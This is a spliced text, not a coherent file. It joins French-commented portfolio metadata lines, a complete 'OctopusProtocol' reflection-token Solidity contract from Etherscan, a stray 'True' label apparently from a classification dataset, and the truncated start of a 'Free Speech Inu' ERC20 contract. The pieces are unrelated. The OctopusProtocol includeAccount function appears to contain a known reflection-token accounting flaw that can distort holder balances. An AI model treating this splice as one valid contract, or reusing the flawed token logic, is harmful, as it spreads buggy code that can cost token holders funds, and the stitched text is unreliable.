// < AGuXVF6ZY4O21cq4ty4XPN99LYigVghLBc1L09Vj7870B26u4blzi8g5V18MA38X >
// < 1E-018 limites [ 372565099,747833 ; 385953922,720421 ] >
// < 0x00000000000000000000000000000000000000000000008ACA93C0A8FC76F504 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VII_metadata_line_11_____Brit_Syndicates_Limited_20250515 >
// < U6Xx2H39v5l6Y9Z73Y54l7q51QOFyAo50A3NGJA39AZ0k7aJ2iU6nDTyAEeQWYjr >
// < 1E-018 limites [ 385953922,720421 ; 412504411,61062 ] >
// < 0x00000000000000000000000000000000000000000000008FC76F50499AB7C9BD >
// < RE_Portfolio_VII_metadata_line_12_____Brokers_and_Reinsurance_Markets_Association_20250515 >
// < nm1PPphX6q44Elqew1o14Sh43mMjmu29vT42bSvH3X7p9cd59gEPEFg3qtGz8Nyh >
// < 1E-018 limites [ 412504411,61062 ; 470029652,520769 ] >
// < 0x000000000000000000000000000000000000000000000099AB7C9BDAF19856F8 >
// < RE_Portfolio_VII_metadata_line_13_____Bupa_Insurance_Limited_m_m_Ap_20250515 >
// < K710Q7qakg8G04VxjM119Ag7zyUnFVCvAp3750pxn0q1lJ8RUDj4n16FgjO09Ipf >
// < 1E-018 limites [ 470029652,520769 ; 529445170,584736 ] >
// < 0x0000000000000000000000000000000000000000000000AF19856F8C53BD39B6 >
// < RE_Portfolio_VII_metadata_line_14_____Caisse_Centrale_de_Reassurance_20250515 >
// < plW6bPISG5QOtNj1q80KTU7DxRVfuGnRAKLbVHvYSAJhh477OUn8bB0eU2aFIjpN >
// < 1E-018 limites [ 529445170,584736 ; 570996370,239225 ] >
// < 0x0000000000000000000000000000000000000000000000C53BD39B6D4B675313 >
// < RE_Portfolio_VII_metadata_line_15_____Caisse_Centrale_De_Reassurances_AA_Ap_20250515 >
// < Tb5iztS43oSmPHuBRLGBb8B13w6MheR601cCN72yf2L0h5JJSG5VaS8b4YA54D8Y >
// < 1E-018 limites [ 570996370,239225 ; 610567161,106495 ] >
// < 0x0000000000000000000000000000000000000000000000D4B675313E37438F42 >
// < RE_Portfolio_VII_metadata_line_16_____Canopius_Managing_Agents_Limited_20250515 >
// < 18id6wj89rSlBWm6zh5w9T2dJckc5IIK61r3V2Le82wIkV4z7sIW98Maukbd5NfD >
// < 1E-018 limites [ 610567161,106495 ; 634621545,227274 ] >
// < 0x0000000000000000000000000000000000000000000000E37438F42EC6A3A30E >
// < RE_Portfolio_VII_metadata_line_17_____Canopius_Managing_Agents_Limited_20250515 >
// < 8Wdt3IQq7L9gyiSK9ratR9W53KhsZO39NRyK52R7Y06l66rvLurgvSH9mlryDY2Q >
// < 1E-018 limites [ 634621545,227274 ; 709240475,887454 ] >
// < 0x000000000000000000000000000000000000000000000EC6A3A30E10836716D8 >
// < RE_Portfolio_VII_metadata_line_18_____Canopius_Managing_Agents_Limited_20250515 >
// < 743Asq989tw5Pg25SOe98z8D8Qr2txb7z6ttvk7zm87I8LhRI8htp0FJurB9jHb0 >
// < 1E-018 limites [ 709240475,887454 ; 728455638,269099 ] >
// < 0x0000000000000000000000000000000000000000000010836716D810F5EF19A6 >
// < RE_Portfolio_VII_metadata_line_19_____Canopius_Managing_Agents_Limited_20250515 >
// < GH980xvE51LE4Ck4l67w0DNSN4sBWenVAKtZmEgcYSj7jGo9NCv5K4sXo7OKlYz4 >
// < 1E-018 limites [ 728455638,269099 ; 796646250,67732 ] >
// < 0x0000000000000000000000000000000000000000000010F5EF19A6128C61B79F >
// < RE_Portfolio_VII_metadata_line_20_____Canopius_Managing_Agents_Limited_20250515 >
// < 3NjghNjmTp8wIYy65BawvhZQ5841nAXSq8Fgf9OoAZfCEk87jlv7cIQAnk9yk8F8 >
// < 1E-018 limites [ 796646250,67732 ; 866150965,247675 ] >
// < 0x00000000000000000000000000000000000000000000128C61B79F142AA97EC0 >
// Programme d'émission - Lignes 21 à 30
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VII_metadata_line_21_____Canopius_Managing_Agents_Limited_20250515 >
// < oB2qV58TLsEIplhD773ezluCTpT233XtMp2z8CAJ90G1m80Ewk8fpq74v7YB81dP >
// < 1E-018 limites [ 866150965,247675 ; 911550225,474008 ] >
// < 0x00000000000000000000000000000000000000000000142AA97EC015394344C7 >
// < RE_Portfolio_VII_metadata_line_22_____Capita_Managing_Agency_Limited_20250515 >
// < Y4HxliqD4Bkba3qZ64pJe959ka7O705i9BqzEKtf956XZ2N5335o882J5c98J904 >
// < 1E-018 limites [ 911550225,474008 ; 928785290,209167 ] >
// < 0x0000000000000000000000000000000000000000000015394344C7159FFDE3F0 >
// < RE_Portfolio_VII_metadata_line_23_____Capita_Managing_Agency_Limited_20250515 >
// < tRKSkJh254Ct15siHPIxstOy6ixDaq87LT7ULR43tfg8Q84MRNMH0gok4kXjE8c0 >
// < 1E-018 limites [ 928785290,209167 ; 963046935,558646 ] >
// < 0x00000000000000000000000000000000000000000000159FFDE3F0166C350327 >
// < RE_Portfolio_VII_metadata_line_24_____Capita_Managing_Agency_Limited_20250515 >
// < 71dDpv6l1PN84VUr6Vg3gDu6L2P4rnL611q1XLzLVu0j4gow6n5N8L1spP7mz0Ow >
// < 1E-018 limites [ 963046935,558646 ; 991939291,134446 ] >
// < 0x00000000000000000000000000000000000000000000166C35032717186B3F8D >
// < RE_Portfolio_VII_metadata_line_25_____Capita_Syndicate_Management_Limited_20250515 >
// < kbJS4Q0zWqi939zCwx819gt29981vLVh06N79a20e1nNSLiSueN523Pl2yQqv7lQ >
// < 1E-018 limites [ 991939291,134446 ; 1037908231,48745 ] >
// < 0x0000000000000000000000000000000000000000000017186B3F8D182A6A48E0 >
// < RE_Portfolio_VII_metadata_line_26_____CATEX_20250515 >
// < 3L349am55q947sNG4cQtrjo9x67Nq4fZ5wyq7OKXq4RV1c0g54E9jVhHbgLMaQc9 >
// < 1E-018 limites [ 1037908231,48745 ; 1078340115,43145 ] >
// < 0x00000000000000000000000000000000000000000000182A6A48E0191B68718B >
// < RE_Portfolio_VII_metadata_line_27_____Cathedral_Underwriting_Limited_20250515 >
// < 9p32f1X77t66v3bd030ZTxzhkr4dPdi8tR0Gax41G5z1KU9KZ1drJGr04K1hnNFD >
// < 1E-018 limites [ 1078340115,43145 ; 1101365908,94578 ] >
// < 0x00000000000000000000000000000000000000000000191B68718B19A4A70422 >
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// < 0x000000000000000000000000000000000000000000001ADF704A1D1CAC25D099 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_VII_metadata_line_31_____Catlin_Group_Limited_20250515 >
// < 61GVGIQYL8Q9kT5hodT5hWFoMyt4DD904h9Tm654761W5Si3rete9g5gq2n1dhM6 >
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}
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/**
*Submitted for verification at Etherscan.io on 2021-06-17
*/
/**
*Submitted for verification at Etherscan.io on 2021-06-17
*/
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract OctopusProtocol is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Octopus Protocol';
string private _symbol = 'Octopus';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2022-04-25
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
/**
Free Speech Inu is a zero tax project with no limits, no taxes, and no max buys or sells.
It is the embodiement of decentralization in order to celebrate the historical acquisiton of Twitter by Elon Musk.
Will you make it, anon?
*/
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
